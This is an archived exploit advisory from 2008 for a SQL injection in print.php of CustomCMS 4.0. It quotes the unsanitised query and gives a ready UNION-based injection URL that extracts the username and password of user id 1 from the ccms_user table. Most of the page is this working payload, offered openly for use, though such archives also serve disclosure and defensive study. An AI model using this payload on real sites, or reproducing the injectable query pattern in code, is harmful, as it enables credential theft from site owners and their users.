CustomCMS 4.0 (CCMS) print.php Remote SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : CustomCMS 4.0 (CCMS) print.php Remote SQL Injection Vulnerability
# Published : 2008-08-21
# Author : ~!Dok_tOR!~
# Previous Title : OneNews Beta 2 (XSS/HI/SQL) Multiple Remote Vulnerabilities
# Next Title : PhotoCart <= 3.9 Multiple Remote SQL Injection Vulnerabilities

Author: ~!Dok_tOR!~
Date found: 21.08.08
Product: CCMS Gaming Portal
Version: 4.0
The price: $55
URL: customcms.net
Vulnerability Class: SQL injection

print.php

Vuln code:

$q = mysql_query("SELECT * from ccms_news_comments WHERE w_id='$id'");


magic_quotes_gpc = Off

http://localhost/[installdir]/

Exploit:

print.php?id='+union+select+1,concat_ws(0x3a,usern ame,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21+from+ccms_user+where+userid=1/*

# www.Syue.com [2008-08-21]